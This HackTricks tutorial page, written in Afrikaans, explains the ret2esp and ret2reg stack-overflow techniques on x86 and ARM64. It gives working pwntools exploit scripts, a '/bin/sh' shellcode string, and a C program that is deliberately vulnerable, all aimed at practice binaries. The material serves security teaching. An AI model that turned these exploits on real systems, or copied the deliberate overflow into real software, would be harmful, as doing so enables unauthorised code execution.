Ret2esp / Ret2reg
Reading time: 8 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Ret2esp
Omdat die ESP (Stack Pointer) altyd na die bokant van die stapel wys, behels hierdie tegniek die vervanging van die EIP (Instruction Pointer) met die adres van 'n jmp esp
of call esp
instruksie. Deur dit te doen, word die shellcode reg na die oorgeskryfde EIP geplaas. Wanneer die ret
instruksie uitgevoer word, wys ESP na die volgende adres, presies waar die shellcode gestoor is.
As Address Space Layout Randomization (ASLR) nie geaktiveer is in Windows of Linux nie, is dit moontlik om jmp esp
of call esp
instruksies in gedeelde biblioteke te gebruik. egter, met ASLR aktief, mag 'n mens binne die kwesbare program self moet kyk vir hierdie instruksies (en jy mag nodig hê om PIE te oorwin).
Boonop, om die shellcode na die EIP-korrupsie te plaas, eerder as in die middel van die stapel, verseker dat enige push
of pop
instruksies wat tydens die funksie se werking uitgevoer word, nie met die shellcode inmeng nie. Hierdie inmenging kan gebeur as die shellcode in die middel van die funksie se stapel geplaas word.
Gebrek aan spasie
As jy spasie ontbreek om te skryf na die oorgeskryfde RIP (miskien net 'n paar bytes), skryf 'n aanvanklike jmp
shellcode soos:
sub rsp, 0x30
jmp rsp
En skryf die shellcode vroeg in die stapel.
Voorbeeld
Jy kan 'n voorbeeld van hierdie tegniek vind in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp met 'n finale exploit soos:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Jy kan 'n ander voorbeeld van hierdie tegniek sien in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Daar is 'n buffer overflow sonder NX geaktiveer, dit word 'n gadget gebruik om die adres van $esp
te verlaag en dan 'n jmp esp;
om na die shellcode te spring:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Op soortgelyke wyse, as ons weet 'n funksie die adres teruggee waar die shellcode gestoor is, kan ons call eax
of jmp eax
instruksies benut (bekend as ret2eax tegniek), wat 'n ander metode bied om ons shellcode uit te voer. Net soos eax, kan enige ander register wat 'n interessante adres bevat, gebruik word (ret2reg).
Voorbeeld
Jy kan 'n paar voorbeelde hier vind:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
sal ineax
die adres van die buffer waar die shellcode gestoor is, eneax
word nie oorgeskryf nie, so dit is moontlik om 'nret2eax
te gebruik.
ARM64
Ret2sp
In ARM64 is daar nie instruksies wat toelaat om na die SP register te spring nie. Dit mag moontlik wees om 'n gadget te vind wat sp na 'n register beweeg en dan na daardie register spring, maar in die libc van my kali kon ek nie enige gadget soos dit vind nie:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Die enigste wat ek ontdek het, sou die waarde van die register verander waar sp gekopieer is voordat daarheen gejump word (so dit sou nutteloos word):
Ret2reg
As 'n register 'n interessante adres het, is dit moontlik om daarheen te spring deur net die toepaslike instruksie te vind. Jy kan iets soos gebruik:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
In ARM64, is dit x0
wat die terugkeerwaarde van 'n funksie stoor, so dit kan wees dat x0 die adres van 'n buffer wat deur die gebruiker beheer word met 'n shellcode om uit te voer, stoor.
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Die ontleding van die funksie toon dat die adres na die buffer (kwetsbaar vir bof en beheerde deur die gebruiker) in x0
gestoor word voordat daar van die buffer overflow teruggekeer word:
Dit is ook moontlik om die gadget br x0
in die do_stuff
funksie te vind:
Ons sal daardie gadget gebruik om daarna te spring omdat die binêre SONDER PIE gecompileer is. Met 'n patroon is dit moontlik om te sien dat die offset van die buffer overflow 80 is, so die exploit sal wees:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
As daar in plaas van fgets
iets soos read
gebruik was, sou dit moontlik gewees het om PIE te omseil deur slegs die laaste 2 bytes van die terugkeeradres te oorskryf om na die br x0;
instruksie terug te keer sonder om die volledige adres te ken.
Met fgets
werk dit nie omdat dit 'n null (0x00) byte aan die einde byvoeg.
Beskermings
- NX: As die stapel nie uitvoerbaar is nie, sal dit nie help nie, aangesien ons die shellcode in die stapel moet plaas en spring om dit uit te voer.
- ASLR & PIE: Dit kan dit moeiliker maak om 'n instruksie te vind om na esp of enige ander register te spring.
Verwysings
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.